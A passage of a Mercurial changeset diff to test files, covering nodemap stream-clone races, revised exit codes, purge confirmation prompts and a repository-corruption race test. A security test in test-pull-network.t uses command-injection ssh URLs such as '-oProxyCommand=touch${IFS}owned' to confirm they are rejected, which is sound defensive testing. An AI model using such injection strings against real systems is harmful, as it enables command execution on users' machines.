00changelog-*.nd (118 KB) (glob) + adding [s] 00manifest.d (452 KB) (no-zstd !) + adding [s] 00manifest.d (491 KB) (zstd !) + adding [s] 00changelog.d (360 KB) (no-zstd !) + adding [s] 00changelog.d (368 KB) (zstd !) + adding [s] 00manifest.i (313 KB) + adding [s] 00changelog.i (313 KB) + +Check the result state + + $ f --size stream-clone-race-1/.hg/store/00changelog* + stream-clone-race-1/.hg/store/00changelog-*.nd: size=121088 (glob) + stream-clone-race-1/.hg/store/00changelog.d: size=368890 (no-zstd !) + stream-clone-race-1/.hg/store/00changelog.d: size=376891 (zstd !) + stream-clone-race-1/.hg/store/00changelog.i: size=320384 + stream-clone-race-1/.hg/store/00changelog.n: size=70 + + $ hg -R stream-clone-race-1 debugnodemap --metadata | tee client-metadata.txt + uid: * (glob) + tip-rev: 5005 + tip-node: 90d5d3ba2fc47db50f712570487cb261a68c8ffe + data-length: 121088 + data-unused: 0 + data-unused: 0.000% + +We get a usable nodemap, so no rewrite would be needed and the metadata should be identical +(ie: the following diff should be empty) + +This isn't the case for the `no-rust` `no-pure` implementation as it use a very minimal nodemap implementation that unconditionnaly rewrite the nodemap "all the time". + +#if no-rust no-pure + $ diff -u server-metadata.txt client-metadata.txt + --- server-metadata.txt * (glob) + +++ client-metadata.txt * (glob) + @@ -1,4 +1,4 @@ + -uid: * (glob) + +uid: * (glob) + tip-rev: 5005 + tip-node: 90d5d3ba2fc47db50f712570487cb261a68c8ffe + data-length: 121088 + [1] +#else + $ diff -u server-metadata.txt client-metadata.txt +#endif + + +Clean up after the test. + + $ rm -f "$HG_TEST_STREAM_WALKED_FILE_1" + $ rm -f "$HG_TEST_STREAM_WALKED_FILE_2" + $ rm -f "$HG_TEST_STREAM_WALKED_FILE_3" + +full regeneration +----------------- + +A full nodemap is generated + +(ideally this test would append enough data to make sure the nodemap data file +get changed, however to make thing simpler we will force the regeneration for +this test. + +Check the initial state + + $ f --size test-repo/.hg/store/00changelog* + test-repo/.hg/store/00changelog-*.nd: size=121344 (glob) (rust !) + test-repo/.hg/store/00changelog-*.nd: size=121344 (glob) (pure !) + test-repo/.hg/store/00changelog-*.nd: size=121152 (glob) (no-rust no-pure !) + test-repo/.hg/store/00changelog.d: size=376950 (zstd !) + test-repo/.hg/store/00changelog.d: size=368949 (no-zstd !) + test-repo/.hg/store/00changelog.i: size=320448 + test-repo/.hg/store/00changelog.n: size=70 + $ hg -R test-repo debugnodemap --metadata | tee server-metadata-2.txt + uid: * (glob) + tip-rev: 5006 + tip-node: ed2ec1eef9aa2a0ec5057c51483bc148d03e810b + data-length: 121344 (rust !) + data-length: 121344 (pure !) + data-length: 121152 (no-rust no-pure !) + data-unused: 192 (rust !) + data-unused: 192 (pure !) + data-unused: 0 (no-rust no-pure !) + data-unused: 0.158% (rust !) + data-unused: 0.158% (pure !) + data-unused: 0.000% (no-rust no-pure !) + +Performe the mix of clone and full refresh of the nodemap, so that the files +(and filenames) are different between listing time and actual transfer time. + + $ (hg clone -U --stream --config ui.ssh="\"$PYTHON\" \"$TESTDIR/dummyssh\"" ssh://user@dummy/test-repo stream-clone-race-2 --debug 2>> clone-output-2 | egrep '00(changelog|manifest)' >> clone-output-2; touch $HG_TEST_STREAM_WALKED_FILE_3) & + $ $RUNTESTDIR/testlib/wait-on-file 10 $HG_TEST_STREAM_WALKED_FILE_1 + $ rm test-repo/.hg/store/00changelog.n + $ rm test-repo/.hg/store/00changelog-*.nd + $ hg -R test-repo/ debugupdatecache + $ touch $HG_TEST_STREAM_WALKED_FILE_2 + $ $RUNTESTDIR/testlib/wait-on-file 10 $HG_TEST_STREAM_WALKED_FILE_3 + $ cat clone-output-2 + adding [s] 00manifest.n (70 bytes) + adding [s] 00manifest-*.nd (118 KB) (glob) + adding [s] 00changelog.n (70 bytes) + adding [s] 00changelog-*.nd (118 KB) (glob) + adding [s] 00manifest.d (492 KB) (zstd !) + adding [s] 00manifest.d (452 KB) (no-zstd !) + adding [s] 00changelog.d (360 KB) (no-zstd !) + adding [s] 00changelog.d (368 KB) (zstd !) + adding [s] 00manifest.i (313 KB) + adding [s] 00changelog.i (313 KB) + +Check the result. + + $ f --size stream-clone-race-2/.hg/store/00changelog* + stream-clone-race-2/.hg/store/00changelog-*.nd: size=121344 (glob) (rust !) + stream-clone-race-2/.hg/store/00changelog-*.nd: size=121344 (glob) (pure !) + stream-clone-race-2/.hg/store/00changelog-*.nd: size=121152 (glob) (no-rust no-pure !) + stream-clone-race-2/.hg/store/00changelog.d: size=376950 (zstd !) + stream-clone-race-2/.hg/store/00changelog.d: size=368949 (no-zstd !) + stream-clone-race-2/.hg/store/00changelog.i: size=320448 + stream-clone-race-2/.hg/store/00changelog.n: size=70 + + $ hg -R stream-clone-race-2 debugnodemap --metadata | tee client-metadata-2.txt + uid: * (glob) + tip-rev: 5006 + tip-node: ed2ec1eef9aa2a0ec5057c51483bc148d03e810b + data-length: 121344 (rust !) + data-unused: 192 (rust !) + data-unused: 0.158% (rust !) + data-length: 121152 (no-rust no-pure !) + data-unused: 0 (no-rust no-pure !) + data-unused: 0.000% (no-rust no-pure !) + data-length: 121344 (pure !) + data-unused: 192 (pure !) + data-unused: 0.158% (pure !) + +We get a usable nodemap, so no rewrite would be needed and the metadata should be identical +(ie: the following diff should be empty) + +This isn't the case for the `no-rust` `no-pure` implementation as it use a very minimal nodemap implementation that unconditionnaly rewrite the nodemap "all the time". + +#if no-rust no-pure + $ diff -u server-metadata-2.txt client-metadata-2.txt + --- server-metadata-2.txt * (glob) + +++ client-metadata-2.txt * (glob) + @@ -1,4 +1,4 @@ + -uid: * (glob) + +uid: * (glob) + tip-rev: 5006 + tip-node: ed2ec1eef9aa2a0ec5057c51483bc148d03e810b + data-length: 121152 + [1] +#else + $ diff -u server-metadata-2.txt client-metadata-2.txt +#endif + +Clean up after the test + + $ rm -f $HG_TEST_STREAM_WALKED_FILE_1 + $ rm -f $HG_TEST_STREAM_WALKED_FILE_2 + $ rm -f $HG_TEST_STREAM_WALKED_FILE_3 + diff -r bc268ea9f984 -r f67b8946bb1b tests/test-phabricator.t --- a/tests/test-phabricator.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-phabricator.t Tue Apr 20 11:01:06 2021 -0400 @@ -48,7 +48,7 @@ options: (use 'hg debugcallconduit -h' to show more help) - [255] + [10] $ hg phabread abort: empty DREVSPEC set [255] diff -r bc268ea9f984 -r f67b8946bb1b tests/test-phases.t --- a/tests/test-phases.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-phases.t Tue Apr 20 11:01:06 2021 -0400 @@ -757,7 +757,7 @@ transaction abort! rollback completed abort: pretxnclose hook exited with status 1 - [255] + [40] $ cp .hg/store/phaseroots.pending.saved .hg/store/phaseroots.pending (check (in)visibility of phaseroot while transaction running in repo) @@ -780,7 +780,7 @@ transaction abort! rollback completed abort: pretxnclose hook exited with status 1 - [255] + [40] Check that pretxnclose-phase hook can control phase movement @@ -854,12 +854,12 @@ transaction abort! rollback completed abort: pretxnclose-phase.nopublish_D hook exited with status 1 - [255] + [40] $ hg phase --public a603bfb5a83e transaction abort! rollback completed abort: pretxnclose-phase.nopublish_D hook exited with status 1 - [255] + [40] $ hg phase --draft 17a481b3bccb test-debug-phase: move rev 3: 2 -> 1 test-debug-phase: move rev 4: 2 -> 1 @@ -871,7 +871,7 @@ transaction abort! rollback completed abort: pretxnclose-phase.nopublish_D hook exited with status 1 - [255] + [40] $ cd .. @@ -886,6 +886,8 @@ dotencode fncache generaldelta + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store @@ -913,6 +915,8 @@ fncache generaldelta internal-phase + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store diff -r bc268ea9f984 -r f67b8946bb1b tests/test-pull-bundle.t --- a/tests/test-pull-bundle.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-pull-bundle.t Tue Apr 20 11:01:06 2021 -0400 @@ -185,7 +185,7 @@ adding changesets adding manifests adding file changes - abort: 00changelog.i@66f7d451a68b: no node + abort: 00changelog.i@66f7d451a68b85ed82ff5fcc254daf50c74144bd: no node [50] $ cd .. $ killdaemons.py diff -r bc268ea9f984 -r f67b8946bb1b tests/test-pull-network.t --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/test-pull-network.t Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,137 @@ +#require serve + +#testcases sshv1 sshv2 + +#if sshv2 + $ cat >> $HGRCPATH << EOF + > [experimental] + > sshpeer.advertise-v2 = true + > sshserver.support-v2 = true + > EOF +#endif + + $ hg init test + $ cd test + + $ echo foo>foo + $ hg addremove + adding foo + $ hg commit -m 1 + + $ hg verify + checking changesets + checking manifests + crosschecking files in changesets and manifests + checking files + checked 1 changesets with 1 changes to 1 files + + $ hg serve -p $HGPORT -d --pid-file=hg.pid + $ cat hg.pid >> $DAEMON_PIDS + $ cd .. + + $ hg clone --pull http://foo:bar@localhost:$HGPORT/ copy + requesting all changes + adding changesets + adding manifests + adding file changes + added 1 changesets with 1 changes to 1 files + new changesets 340e38bdcde4 + updating to branch default + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + + $ cd copy + $ hg verify + checking changesets + checking manifests + crosschecking files in changesets and manifests + checking files + checked 1 changesets with 1 changes to 1 files + + $ hg co + 0 files updated, 0 files merged, 0 files removed, 0 files unresolved + $ cat foo + foo + + $ hg manifest --debug + 2ed2a3912a0b24502043eae84ee4b279c18b90dd 644 foo + + $ hg pull + pulling from http://foo@localhost:$HGPORT/ + searching for changes + no changes found + + $ hg rollback --dry-run --verbose + repository tip rolled back to revision -1 (undo pull: http://foo:***@localhost:$HGPORT/) + +Test pull of non-existing 20 character revision specification, making sure plain ascii identifiers +not are encoded like a node: + + $ hg pull -r 'xxxxxxxxxxxxxxxxxxxy' + pulling from http://foo@localhost:$HGPORT/ + abort: unknown revision 'xxxxxxxxxxxxxxxxxxxy' + [255] + $ hg pull -r 'xxxxxxxxxxxxxxxxxx y' + pulling from http://foo@localhost:$HGPORT/ + abort: unknown revision 'xxxxxxxxxxxxxxxxxx y' + [255] + +Test pull of working copy revision + $ hg pull -r 'ffffffffffff' + pulling from http://foo@localhost:$HGPORT/ + abort: unknown revision 'ffffffffffff' + [255] + +Test 'file:' uri handling: + + $ hg pull -q file://../test-does-not-exist + abort: file:// URLs can only refer to localhost + [255] + + $ hg pull -q file://../test + abort: file:// URLs can only refer to localhost + [255] + +MSYS changes 'file:' into 'file;' + +#if no-msys + $ hg pull -q file:../test # no-msys +#endif + +It's tricky to make file:// URLs working on every platform with +regular shell commands. + + $ URL=`"$PYTHON" -c "from __future__ import print_function; import os; print('file://foobar' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test')"` + $ hg pull -q "$URL" + abort: file:// URLs can only refer to localhost + [255] + + $ URL=`"$PYTHON" -c "from __future__ import print_function; import os; print('file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test')"` + $ hg pull -q "$URL" + +SEC: check for unsafe ssh url + + $ cat >> $HGRCPATH << EOF + > [ui] + > ssh = sh -c "read l; read l; read l" + > EOF + + $ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path' + pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' + [255] + $ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path' + pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' + [255] + $ hg pull 'ssh://fakehost|touch${IFS}owned/path' + pulling from ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path + abort: no suitable response from remote hg + [255] + $ hg --config ui.timestamp-output=true pull 'ssh://fakehost%7Ctouch%20owned/path' + \[20[2-9][0-9]-[01][0-9]-[0-3][0-9]T[0-5][0-9]:[0-5][0-9]:[0-5][0-9]\.[0-9][0-9][0-9][0-9][0-9][0-9]\] pulling from ssh://fakehost%7Ctouch%20owned/path (re) + \[20[2-9][0-9]-[01][0-9]-[0-3][0-9]T[0-5][0-9]:[0-5][0-9]:[0-5][0-9]\.[0-9][0-9][0-9][0-9][0-9][0-9]\] abort: no suitable response from remote hg (re) + [255] + + $ [ ! -f owned ] || echo 'you got owned' + + $ cd .. diff -r bc268ea9f984 -r f67b8946bb1b tests/test-pull-update.t --- a/tests/test-pull-update.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-pull-update.t Tue Apr 20 11:01:06 2021 -0400 @@ -246,3 +246,25 @@ active-before-pull 3:483b76ad4309 $ cd .. + +Issue622: hg init && hg pull -u URL doesn't checkout default branch + + $ hg init test + $ cd test + $ echo foo>foo + $ hg addremove + adding foo + $ hg commit -m 1 + $ cd .. + + $ hg init empty + $ cd empty + $ hg pull -u ../test + pulling from ../test + requesting all changes + adding changesets + adding manifests + adding file changes + added 1 changesets with 1 changes to 1 files + new changesets 340e38bdcde4 + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved diff -r bc268ea9f984 -r f67b8946bb1b tests/test-pull.t --- a/tests/test-pull.t Thu Mar 25 19:06:28 2021 -0400 +++ /dev/null Thu Jan 01 00:00:00 1970 +0000 @@ -1,152 +0,0 @@ -#require serve - -#testcases sshv1 sshv2 - -#if sshv2 - $ cat >> $HGRCPATH << EOF - > [experimental] - > sshpeer.advertise-v2 = true - > sshserver.support-v2 = true - > EOF -#endif - - $ hg init test - $ cd test - - $ echo foo>foo - $ hg addremove - adding foo - $ hg commit -m 1 - - $ hg verify - checking changesets - checking manifests - crosschecking files in changesets and manifests - checking files - checked 1 changesets with 1 changes to 1 files - - $ hg serve -p $HGPORT -d --pid-file=hg.pid - $ cat hg.pid >> $DAEMON_PIDS - $ cd .. - - $ hg clone --pull http://foo:bar@localhost:$HGPORT/ copy - requesting all changes - adding changesets - adding manifests - adding file changes - added 1 changesets with 1 changes to 1 files - new changesets 340e38bdcde4 - updating to branch default - 1 files updated, 0 files merged, 0 files removed, 0 files unresolved - - $ cd copy - $ hg verify - checking changesets - checking manifests - crosschecking files in changesets and manifests - checking files - checked 1 changesets with 1 changes to 1 files - - $ hg co - 0 files updated, 0 files merged, 0 files removed, 0 files unresolved - $ cat foo - foo - - $ hg manifest --debug - 2ed2a3912a0b24502043eae84ee4b279c18b90dd 644 foo - - $ hg pull - pulling from http://foo@localhost:$HGPORT/ - searching for changes - no changes found - - $ hg rollback --dry-run --verbose - repository tip rolled back to revision -1 (undo pull: http://foo:***@localhost:$HGPORT/) - -Test pull of non-existing 20 character revision specification, making sure plain ascii identifiers -not are encoded like a node: - - $ hg pull -r 'xxxxxxxxxxxxxxxxxxxy' - pulling from http://foo@localhost:$HGPORT/ - abort: unknown revision 'xxxxxxxxxxxxxxxxxxxy' - [255] - $ hg pull -r 'xxxxxxxxxxxxxxxxxx y' - pulling from http://foo@localhost:$HGPORT/ - abort: unknown revision 'xxxxxxxxxxxxxxxxxx y' - [255] - -Test pull of working copy revision - $ hg pull -r 'ffffffffffff' - pulling from http://foo@localhost:$HGPORT/ - abort: unknown revision 'ffffffffffff' - [255] - -Issue622: hg init && hg pull -u URL doesn't checkout default branch - - $ cd .. - $ hg init empty - $ cd empty - $ hg pull -u ../test - pulling from ../test - requesting all changes - adding changesets - adding manifests - adding file changes - added 1 changesets with 1 changes to 1 files - new changesets 340e38bdcde4 - 1 files updated, 0 files merged, 0 files removed, 0 files unresolved - -Test 'file:' uri handling: - - $ hg pull -q file://../test-does-not-exist - abort: file:// URLs can only refer to localhost - [255] - - $ hg pull -q file://../test - abort: file:// URLs can only refer to localhost - [255] - -MSYS changes 'file:' into 'file;' - -#if no-msys - $ hg pull -q file:../test # no-msys -#endif - -It's tricky to make file:// URLs working on every platform with -regular shell commands. - - $ URL=`"$PYTHON" -c "from __future__ import print_function; import os; print('file://foobar' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test')"` - $ hg pull -q "$URL" - abort: file:// URLs can only refer to localhost - [255] - - $ URL=`"$PYTHON" -c "from __future__ import print_function; import os; print('file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test')"` - $ hg pull -q "$URL" - -SEC: check for unsafe ssh url - - $ cat >> $HGRCPATH << EOF - > [ui] - > ssh = sh -c "read l; read l; read l" - > EOF - - $ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path' - pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path - abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' - [255] - $ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path' - pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path - abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' - [255] - $ hg pull 'ssh://fakehost|touch${IFS}owned/path' - pulling from ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path - abort: no suitable response from remote hg - [255] - $ hg --config ui.timestamp-output=true pull 'ssh://fakehost%7Ctouch%20owned/path' - \[20[2-9][0-9]-[01][0-9]-[0-3][0-9]T[0-5][0-9]:[0-5][0-9]:[0-5][0-9]\.[0-9][0-9][0-9][0-9][0-9][0-9]\] pulling from ssh://fakehost%7Ctouch%20owned/path (re) - \[20[2-9][0-9]-[01][0-9]-[0-3][0-9]T[0-5][0-9]:[0-5][0-9]:[0-5][0-9]\.[0-9][0-9][0-9][0-9][0-9][0-9]\] abort: no suitable response from remote hg (re) - [255] - - $ [ ! -f owned ] || echo 'you got owned' - - $ cd .. diff -r bc268ea9f984 -r f67b8946bb1b tests/test-purge.t --- a/tests/test-purge.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-purge.t Tue Apr 20 11:01:06 2021 -0400 @@ -1,8 +1,3 @@ - $ cat <> $HGRCPATH - > [extensions] - > purge = - > EOF - init $ hg init t @@ -18,11 +13,35 @@ $ echo 'ignored' > .hgignore $ hg ci -qAmr3 -d'2 0' +purge without the extension + + $ hg st + $ touch foo + $ hg purge + permanently delete 1 unkown files? (yN) n + abort: removal cancelled + [250] + $ hg st + ? foo + $ hg purge --no-confirm + $ hg st + +now enabling the extension + + $ cat <> $HGRCPATH + > [extensions] + > purge = + > EOF + delete an empty directory $ mkdir empty_dir $ hg purge -p -v empty_dir + $ hg purge --confirm + permanently delete at least 1 empty directories? (yN) n + abort: removal cancelled + [250] $ hg purge -v removing directory empty_dir $ ls -A @@ -62,6 +81,10 @@ $ hg purge -p untracked_file untracked_file_readonly + $ hg purge --confirm + permanently delete 2 unkown files? (yN) n + abort: removal cancelled + [250] $ hg purge -v removing file untracked_file removing file untracked_file_readonly @@ -121,6 +144,10 @@ $ cd directory $ hg purge -p ../untracked_directory untracked_directory/nested_directory + $ hg purge --confirm + permanently delete 1 unkown files? (yN) n + abort: removal cancelled + [250] $ hg purge -v ../untracked_directory removing directory untracked_directory/nested_directory removing directory untracked_directory @@ -138,6 +165,7 @@ $ touch ignored $ hg purge -p + $ hg purge --confirm $ hg purge -v $ touch untracked_file $ ls @@ -147,6 +175,10 @@ untracked_file $ hg purge -p -i ignored + $ hg purge --confirm -i + permanently delete 1 ignored files? (yN) n + abort: removal cancelled + [250] $ hg purge -v -i removing file ignored $ ls -A @@ -159,6 +191,10 @@ $ hg purge -p --all ignored untracked_file + $ hg purge --confirm --all + permanently delete 1 unkown and 1 ignored files? (yN) n + abort: removal cancelled + [250] $ hg purge -v --all removing file ignored removing file untracked_file diff -r bc268ea9f984 -r f67b8946bb1b tests/test-racy-mutations.t --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/test-racy-mutations.t Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,102 @@ +#testcases skip-detection fail-if-detected + +Test situations that "should" only be reproducible: +- on networked filesystems, or +- user using `hg debuglocks` to eliminate the lock file, or +- something (that doesn't respect the lock file) writing to the .hg directory +while we're running + + $ hg init a + $ cd a + + $ cat > "$TESTTMP/waitlock_editor.sh" < [ -n "\${WAITLOCK_ANNOUNCE:-}" ] && touch "\${WAITLOCK_ANNOUNCE}" + > f="\${WAITLOCK_FILE}" + > start=\`date +%s\` + > timeout=5 + > while [ \\( ! -f \$f \\) -a \\( ! -L \$f \\) ]; do + > now=\`date +%s\` + > if [ "\`expr \$now - \$start\`" -gt \$timeout ]; then + > echo "timeout: \$f was not created in \$timeout seconds (it is now \$(date +%s))" + > exit 1 + > fi + > sleep 0.1 + > done + > if [ \$# -gt 1 ]; then + > cat "\$@" + > fi + > EOF + $ chmod +x "$TESTTMP/waitlock_editor.sh" + +Things behave differently if we don't already have a 00changelog.i file when +this all starts, so let's make one. + + $ echo r0 > r0 + $ hg commit -qAm 'r0' + +Start an hg commit that will take a while + $ EDITOR_STARTED="$(pwd)/.editor_started" + $ MISCHIEF_MANAGED="$(pwd)/.mischief_managed" + $ JOBS_FINISHED="$(pwd)/.jobs_finished" + +#if fail-if-detected + $ cat >> .hg/hgrc << EOF + > [debug] + > revlog.verifyposition.changelog = fail + > EOF +#endif + + $ echo foo > foo + $ (WAITLOCK_ANNOUNCE="${EDITOR_STARTED}" \ + > WAITLOCK_FILE="${MISCHIEF_MANAGED}" \ + > HGEDITOR="$TESTTMP/waitlock_editor.sh" \ + > hg commit -qAm 'r1 (foo)' --edit foo > .foo_commit_out 2>&1 ; touch "${JOBS_FINISHED}") & + +Wait for the "editor" to actually start + $ WAITLOCK_FILE="${EDITOR_STARTED}" "$TESTTMP/waitlock_editor.sh" + +Break the locks, and make another commit. + $ hg debuglocks -LW + $ echo bar > bar + $ hg commit -qAm 'r2 (bar)' bar + $ hg debugrevlogindex -c + rev linkrev nodeid p1 p2 + 0 0 222799e2f90b 000000000000 000000000000 + 1 1 6f124f6007a0 222799e2f90b 000000000000 + +Awaken the editor from that first commit + $ touch "${MISCHIEF_MANAGED}" +And wait for it to finish + $ WAITLOCK_FILE="${JOBS_FINISHED}" "$TESTTMP/waitlock_editor.sh" + +#if skip-detection +(Ensure there was no output) + $ cat .foo_commit_out +And observe a corrupted repository -- rev 2's linkrev is 1, which should never +happen for the changelog (the linkrev should always refer to itself). + $ hg debugrevlogindex -c + rev linkrev nodeid p1 p2 + 0 0 222799e2f90b 000000000000 000000000000 + 1 1 6f124f6007a0 222799e2f90b 000000000000 + 2 1 ac80e6205bb2 222799e2f90b 000000000000 +#endif + +#if fail-if-detected + $ cat .foo_commit_out + transaction abort! + rollback completed + note: commit message saved in .hg/last-message.txt + note: use 'hg commit --logfile .hg/last-message.txt --edit' to reuse it + abort: 00changelog.i: file cursor at position 249, expected 121 +And no corruption in the changelog. + $ hg debugrevlogindex -c + rev linkrev nodeid p1 p2 + 0 0 222799e2f90b 000000000000 000000000000 + 1 1 6f124f6007a0 222799e2f90b 000000000000 +And, because of transactions, there's none in the manifestlog either. + $ hg debugrevlogindex -m + rev linkrev nodeid p1 p2 + 0 0 7b7020262a56 000000000000 000000000000 + 1 1 ad3fe36d86d9 7b7020262a56 000000000000 +#endif + diff -r bc268ea9f984 -r f67b8946bb1b tests/test-rebase-abort.t --- a/tests/test-rebase-abort.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-rebase-abort.t Tue Apr 20 11:01:06 2021 -0400 @@ -95,6 +95,7 @@ ancestor path: common (node de0a666fdd9c1a0b0698b90d85064d8bd34f74b6) other path: common (node 2f6411de53677f6f1048fef5bf888d67a342e0a5) extra: ancestorlinknode = 3163e20567cc93074fbb7a53c8b93312e59dbf2c + extra: merged = yes $ hg resolve -l U common diff -r bc268ea9f984 -r f67b8946bb1b tests/test-rebase-collapse.t --- a/tests/test-rebase-collapse.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-rebase-collapse.t Tue Apr 20 11:01:06 2021 -0400 @@ -134,7 +134,7 @@ $ hg rebase --base B -m 'custom message' abort: message can only be specified with collapse - [255] + [10] $ cat > $TESTTMP/checkeditform.sh < env | grep HGEDITFORM @@ -180,7 +180,7 @@ $ hg rebase -s C --dest H --collapse abort: unable to collapse on top of 3, there is more than one external parent: 1, 6 - [255] + [20] Rebase and collapse - E onto H: @@ -386,7 +386,7 @@ BROKEN: should be allowed $ hg rebase --collapse -r 'B+D+F' -d G abort: unable to collapse on top of 2, there is more than one external parent: 3, 5 - [255] + [20] $ cd .. @@ -404,7 +404,7 @@ $ hg rebase --collapse -d H -s 'B+F' abort: unable to collapse on top of 5, there is more than one external parent: 1, 3 - [255] + [20] $ cd .. With internal merge: @@ -484,7 +484,7 @@ $ hg rebase --keepbranches --collapse -s 1 -d 3 abort: cannot collapse multiple named branches - [255] + [10] $ cd .. diff -r bc268ea9f984 -r f67b8946bb1b tests/test-rebase-conflicts.t --- a/tests/test-rebase-conflicts.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-rebase-conflicts.t Tue Apr 20 11:01:06 2021 -0400 @@ -318,10 +318,10 @@ bundle2-input-part: total payload size 1686 bundle2-input-part: "cache:rev-branch-cache" (advisory) supported bundle2-input-part: total payload size 74 - truncating cache/rbc-revs-v1 to 56 bundle2-input-part: "phase-heads" supported bundle2-input-part: total payload size 24 bundle2-input-bundle: 3 parts total + truncating cache/rbc-revs-v1 to 72 added 2 changesets with 2 changes to 1 files updating the branch cache invalid branch cache (served): tip differs diff -r bc268ea9f984 -r f67b8946bb1b tests/test-rebase-dest.t --- a/tests/test-rebase-dest.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-rebase-dest.t Tue Apr 20 11:01:06 2021 -0400 @@ -18,7 +18,7 @@ $ hg rebase abort: you must specify a destination (use: hg rebase -d REV) - [255] + [10] $ hg rebase -d 1 rebasing 2:5db65b93a12b tip "cc" saved backup bundle to $TESTTMP/repo/.hg/strip-backup/5db65b93a12b-4fb789ec-rebase.hg @@ -74,7 +74,7 @@ $ hg pull --rebase abort: rebase destination required by configuration (use hg pull followed by hg rebase -d DEST) - [255] + [10] Setup rebase with multiple destinations @@ -152,7 +152,7 @@ > A D > EOS abort: --collapse does not work with multiple destinations - [255] + [10] Multiple destinations cannot be used with --base: @@ -192,7 +192,7 @@ > Z > EOS abort: rebase destination for f0a671a46792 is not unique - [255] + [10] Destination is an ancestor of source: @@ -204,7 +204,7 @@ > Z > EOS abort: source and destination form a cycle - [255] + [10] BUG: cycles aren't flagged correctly when --dry-run is set: $ rebasewithdag -s B -d 'SRC' --dry-run <<'EOS' @@ -216,7 +216,7 @@ > EOS abort: source and destination form a cycle starting dry-run rebase; repository will not be changed - [255] + [10] Switch roots: @@ -329,7 +329,7 @@ > Z > EOS abort: source and destination form a cycle - [255] + [10] Detect source is ancestor of dest in runtime: @@ -341,7 +341,7 @@ > A > EOS abort: source is ancestor of destination - [255] + [10] "Already rebased" fast path still works: diff -r bc268ea9f984 -r f67b8946bb1b tests/test-rebase-interruptions.t --- a/tests/test-rebase-interruptions.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-rebase-interruptions.t Tue Apr 20 11:01:06 2021 -0400 @@ -350,7 +350,7 @@ M A rebasing 6:a0b2430ebfb8 tip "F" abort: precommit hook exited with status 1 - [255] + [40] $ hg tglogp @ 7: 401ccec5e39f secret 'C' | @@ -401,7 +401,7 @@ transaction abort! rollback completed abort: pretxncommit hook exited with status 1 - [255] + [40] $ hg tglogp @ 7: 401ccec5e39f secret 'C' | @@ -451,7 +451,7 @@ transaction abort! rollback completed abort: pretxnclose hook exited with status 1 - [255] + [40] $ hg tglogp @ 7: 401ccec5e39f secret 'C' | diff -r bc268ea9f984 -r f67b8946bb1b tests/test-rebase-mq.t --- a/tests/test-rebase-mq.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-rebase-mq.t Tue Apr 20 11:01:06 2021 -0400 @@ -46,14 +46,14 @@ $ hg rebase -s 1 -d 3 abort: cannot rebase onto an applied mq patch - [255] + [20] Rebase - same thing, but mq patch is default dest: $ hg up -q 1 $ hg rebase abort: cannot rebase onto an applied mq patch - [255] + [20] $ hg up -q qtip Rebase - generate a conflict: diff -r bc268ea9f984 -r f67b8946bb1b tests/test-rebase-named-branches.t --- a/tests/test-rebase-named-branches.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-rebase-named-branches.t Tue Apr 20 11:01:06 2021 -0400 @@ -247,7 +247,7 @@ $ hg rebase -s 5 -d 6 abort: source and destination form a cycle - [255] + [10] $ hg rebase -s 6 -d 5 rebasing 6:3944801ae4ea "dev-two named branch" diff -r bc268ea9f984 -r f67b8946bb1b tests/test-rebase-newancestor.t --- a/tests/test-rebase-newancestor.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-rebase-newancestor.t Tue Apr 20 11:01:06 2021 -0400 @@ -154,7 +154,7 @@ rebasing 2:ec2c14fb2984 "dev: f-dev stuff" rebasing 4:4b019212aaf6 "dev: merge default" abort: rebasing 4:4b019212aaf6 will include unwanted changes from 1:1d1a643d390e - [255] + [10] $ cd .. @@ -314,7 +314,7 @@ rebasing 6:b296604d9846 E "E" rebasing 7:caa9781e507d F tip "F" abort: rebasing 7:caa9781e507d will include unwanted changes from 4:d6003a550c2c or 3:c1e6b162678d - [255] + [10] The warning does not get printed if there is no unwanted change detected: diff -r bc268ea9f984 -r f67b8946bb1b tests/test-rebase-obsolete.t --- a/tests/test-rebase-obsolete.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-rebase-obsolete.t Tue Apr 20 11:01:06 2021 -0400 @@ -560,7 +560,7 @@ rebasing 2:b18e25de2cf5 D "D" rebasing 6:f15c3adaf214 F tip "F" abort: cannot 